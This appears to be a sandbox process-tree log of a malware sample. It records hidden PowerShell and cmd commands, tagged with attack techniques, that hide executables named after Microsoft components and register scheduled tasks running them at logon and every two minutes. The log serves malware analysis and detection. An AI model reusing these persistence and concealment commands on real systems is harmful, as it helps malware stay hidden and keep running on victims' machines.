C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SecurityHealthSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SecurityHealthSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SecurityHealthSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SecurityHealthSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SecurityHealthSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SecurityHealthSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "OneDriveUpdaterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn OneDriveUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn OneDriveUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "OneDriveUpdaterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn OneDriveUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn OneDriveUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SearchProtocolSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SearchProtocolSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WLANAutoConfigSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WLANAutoConfigSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WLANAutoConfigSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WLANAutoConfigSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WLANAutoConfigSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WLANAutoConfigSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CertificatePropagation" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CertificatePropagation /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn CertificatePropagation /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CertificatePropagation_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CertificatePropagation_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn CertificatePropagation_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe" 2>nul'"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgentSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgentSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsUpdateAgentSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "WindowsUpdateAgentSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn WindowsUpdateAgentSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsUpdateAgentSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SearchProtocolHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SearchProtocolHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SearchProtocolHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SearchProtocolHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Telemetry\SearchProtocolHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "dllhostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn dllhostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn dllhostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "dllhostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn dllhostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn dllhostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Service\dllhost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "sihostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn sihostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn sihostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "sihostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn sihostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn sihostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\Temp\sihost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe" 2>nul'"2⤵
-
